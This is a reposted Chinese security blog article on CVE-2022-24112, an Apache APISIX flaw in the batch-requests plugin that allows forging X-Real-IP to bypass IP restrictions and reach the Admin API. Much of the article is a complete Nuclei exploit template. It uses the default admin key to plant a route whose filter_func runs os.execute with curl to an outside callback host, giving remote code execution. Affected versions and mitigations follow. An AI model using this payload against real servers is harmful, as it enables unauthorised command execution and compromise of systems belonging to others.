Apache APISIX 存在改写 X-REAL-IP header (CVE-2022-24112)

admin 2022年2月28日00:41:24评论3 views字数 3194阅读10分38秒阅读模式

声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系刘一手
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。仅供学习研究

在 Apache APISIX 2.12.1 之前的版本中(不包含 2.12.1 和 2.10.4),启用 Apache APISIX batch-requests 插件之后,会存在改写 X-REAL-IP header 风险。

该风险会导致以下两个问题:

  • 攻击者通过 batch-requests 插件绕过 Apache APISIX 数据面的 IP 限制。如绕过 IP 黑白名单限制。

  • 如果用户使用 Apache APISIX 默认配置(启用 Admin API ,使用默认 Admin Key 且没有额外分配管理端口),攻击者可以通过 batch-requests 插件调用 Admin API 。

这个漏洞本质利用和 CVE-2021-45232 类似,都是绕过授权或未授权,来执行恶意的 route 里的 filter_func 或者 script 来执行命令

注意事项

  • X-Real-IP 的值可以是 127.0.0.1,localhost 或者 2130706433

  • pipeline 是必须项,以下为其 body 部分的值说明

  • method 固定为 PUT

  • uri 必须存在,这也是 exp 后需要访问来触发的 URL

  • plugins,upstream/upstream_id,service_id 这三个必须存在其中一个,详情可以参考官方文档

如果 service_id 不可用 可以替换成 "upstream":{"type":"roundrobin","nodes":{"httpbin.org:80":1}}

id: CVE-2022-24112info:  name: Apache APISIX apisix/batch-requests RCE  description: Apache APISIX apisix/batch-requests plugin allows overwriting the X-REAL-IP header to RCE;An attacker can abuse the batch-requests plugin to send requests to bypass the IP restriction of Admin API. A default configuration of Apache APISIX (with default API key) is vulnerable to remote code execution. When the admin key was changed or the port of Admin API was changed to a port different from the data panel, the impact is lower. But there is still a risk to bypass the IP restriction of Apache APISIX's data panel. There is a check in the batch-requests plugin which overrides the client IP with its real remote IP. But due to a bug in the code, this check can be bypassed.  author: Mr-xn  severity: critical  reference:    - https://nvd.nist.gov/vuln/detail/CVE-2022-24112    - https://www.openwall.com/lists/oss-security/2022/02/11/3    - https://twitter.com/sirifu4k1/status/1496043663704858625    - https://apisix.apache.org/zh/docs/apisix/plugins/batch-requests  tags: cve,cve2022,apache,rce,apisix  classification:    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H    cvss-score: 9.80    cve-id: CVE-2022-24112    cwe-id: CWE-290requests:  - raw:    - |        POST /apisix/batch-requests HTTP/1.1        Host: {{Host}}:9080        Content-Type: application/json        Accept-Encoding: gzip, deflate        Accept-Language: zh-CN,zh;q=0.9        Connection: close        {"headers":{"X-Real-IP":"127.0.0.1","Content-Type":"application/json"},"timeout":1500,"pipeline":[{"method":"PUT","path":"/apisix/admin/routes/index?api_key=edd1c9f034335f136f87ad84b625c8f1","body":"{rn "name": "test", "method": ["GET"],rn "uri": "/api/test",rn "upstream":{"type":"roundrobin","nodes":{"httpbin.org:80":1}}rn,rn"filter_func": "function(vars) os.execute('curl {{randstr}}.{{interactsh-url}}'); return true end"}"}]}    - |        GET /api/test HTTP/1.1        Host: {{Host}}:9080        Accept-Encoding: gzip, deflate        Accept-Language: zh-CN,zh;q=0.9        Connection: close    redirects: false    matchers-condition: and    req-condition: true    matchers:      - type: dsl        dsl:          - "status_code_1 == 200"          # - "status_code_2 == 404"          - 'contains(body_1, "{{randstr}}")'          # - 'contains(body_1, ""status":200,"reason":"OK"}")'        condition: and      - type: word        part: interactsh_protocol # Confirms the HTTP Interaction        words:          - "http"

漏洞探测

Apache APISIX 存在改写 X-REAL-IP header (CVE-2022-24112)

Apache APISIX 存在改写 X-REAL-IP header (CVE-2022-24112)

影响版本

  • Apache APISIX 1.3 ~ 2.12.1 之间的所有版本(不包含 2.12.1 )

  • Apache APISIX 2.10.0 ~ 2.10.4 LTS 之间的所有版本 (不包含 2.10.4)

解决方案

  • 该问题目前已在 2.12.1 和 2.10.4 版本中得到解决,请尽快更新至相关版本。

  • 在受影响的 Apache APISIX 版本中,

  • 可以对 conf/config.yaml 和 conf/config-default.yaml 文件显式注释掉 batch-requests,并且重启 Apache APISIX 即可规避此次风险。

脚本已放置星球

Apache APISIX 存在改写 X-REAL-IP header (CVE-2022-24112)

Apache APISIX 存在改写 X-REAL-IP header (CVE-2022-24112)

推荐阅读

干货 | 渗透知识库(鹏组安全)

信息安全 | 键盘记录之信息窃取(登录框密码隐藏就真的万无一失吗)

python | 用python写了一个谈恋爱AA公式,我被分手了

好文分享收藏赞一下最美点在看哦

原文始发于微信公众号(鹏组安全):Apache APISIX 存在改写 X-REAL-IP header (CVE-2022-24112)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年2月28日00:41:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache APISIX 存在改写 X-REAL-IP header (CVE-2022-24112)https://cn-sec.com/archives/806443.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息